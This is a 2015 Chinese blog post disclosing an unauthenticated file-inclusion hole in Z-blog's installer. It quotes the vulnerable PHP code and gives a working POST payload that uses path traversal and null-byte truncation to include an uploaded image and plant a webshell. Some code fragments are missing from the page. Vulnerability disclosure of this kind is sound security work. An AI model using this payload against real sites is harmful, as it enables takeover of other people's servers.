IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Z-blog前台无需登录包含漏洞一枚

    没穿底裤发表于 2015-06-09 01:42:34
    love 0

    http://www.zblogcn.com/zblogphp/ 下载地址
    问题出现在zb_install/index.php中
    我还注意看了一下 安装完成后 是写的啥提示

    安装结果
    创建数据库!zblog
    连接数据库并创建数据表!
    创建并插入数据成功!
    保存设置,编译模板成功!

    提示的是这个 并没有提示用户要删除这个目录 而且也不会自动删除这个文件。
    所以基本都是存在的。

    ');
    
    define('error','');
    
    
    
    $zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK'];
    
    if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];
    
    
    
    $zbp->LoadLanguage('system','',$zbloglang);
    
    $zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
    
    $zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];
    
    
    
    $zblogstep=(int)GetVars('step');
    
    if($zblogstep==0)$zblogstep=1;
    
    
    
    if( ($zbp->option['ZC_DATABASE_TYPE']!=='') && ($zbp->option['ZC_YUN_SITE']=='') ){
    
    	$zblogstep=0;
    
    }elseif( ($zbp->option['ZC_DATABASE_TYPE']) && ($zbp->option['ZC_YUN_SITE']) ){
    
    	if($zbp->Config('system')->CountItem()>0)$zblogstep=0;
    
    }
    
    ?>

    $zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK'];
    
    if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];
    
    
    
    $zbp->LoadLanguage('system','',$zbloglang);
    
    $zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
    
    $zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];

    其实漏洞就是出现在这里。
    因为这段代码是出现在判断是否安装了之前, 所以 就算安装了 我们也可以走到这里。

    $zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK']; //首先定义zbloglang
    
    if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];//如果设置了post的 就用post传递来的做这变量了。 因为zblog防止sql注入都是通过在查询函数的时候 不采用拼接 所以他们也没对post转义 这样是注入少了 但是也造成了这里的漏洞。
    
    
    
    $zbp->LoadLanguage('system','',$zbloglang);//跟跟跟
    
    $zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
    
    $zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];

    public function LoadLanguage($type,$id,$default=''){
    
    		if($type=='system'){
    
    			if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
    
    			if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
    
    				$this->lang = require($f);
    
    				$this->langpacklist[]=array($type,$id,$default);
    
    				return true;
    
    			}
    
    			$default='zh-cn';
    
    			if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
    
    				$this->lang = require($f);
    
    				$this->langpacklist[]=array($type,$id,$default);
    
    				return true;
    
    			}
    
    			$default='en';
    
    			if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
    
    				$this->lang = require($f);
    
    				$this->langpacklist[]=array($type,$id,$default);
    
    				return true;
    
    			}
    
    		}elseif($type=='plugin' || $type=='theme'){
    
    			if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
    
    			if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
    
    				$this->lang[$id] = require($f);
    
    				$this->langpacklist[]=array($type,$id,$default);
    
    				return true;
    
    			}
    
    			$default='zh-cn';
    
    			if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
    
    				$this->lang[$id] = require($f);
    
    				$this->langpacklist[]=array($type,$id,$default);
    
    				return true;
    
    			}
    
    			$default='en';
    
    			if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
    
    				$this->lang[$id] = require($f);
    
    				$this->langpacklist[]=array($type,$id,$default);
    
    				return true;
    
    			}
    
    		}elseif($type!='' && $id!=''){
    
    			if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
    
    			if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
    
    				$this->lang[$id] = require($f);
    
    				$this->langpacklist[]=array($type,$id,$default);
    
    				return true;
    
    			}
    
    			$default='zh-cn';
    
    			if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
    
    				$this->lang[$id] = require($f);
    
    				$this->langpacklist[]=array($type,$id,$default);
    
    				return true;
    
    			}
    
    			$default='en';
    
    			if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
    
    				$this->lang[$id] = require($f);
    
    				$this->langpacklist[]=array($type,$id,$default);
    
    				return true;
    
    			}
    
    		}
    
    	}

    看这函数就知道了 到处包含,虽然限制了必须为.php后缀的 但是因为没对POST转义 所以我们可以截断后面的.php咯。
    大概找了一下 没找到能够上传图片的地方 这里我就自己新建一个jpg了把。 来测试测试就好。
    新建一个 yu.jpg

    ');

    $zbp->LoadLanguage('system','',$zbloglang);
    
    $zbp->LoadLanguage('zb_install','zb_install',$zbloglang);

    因为他这里load了两个 当满足第一个的时候第二个就不会满足 就会出错。
    所以我们直接fputs一个文件就行。
    在根目录下。

    http://web/small/zblog/zb_install/index.php
    POST
    zbloglang=../../yu.jpg%00

    shell



沪ICP备19023445号-2号
友情链接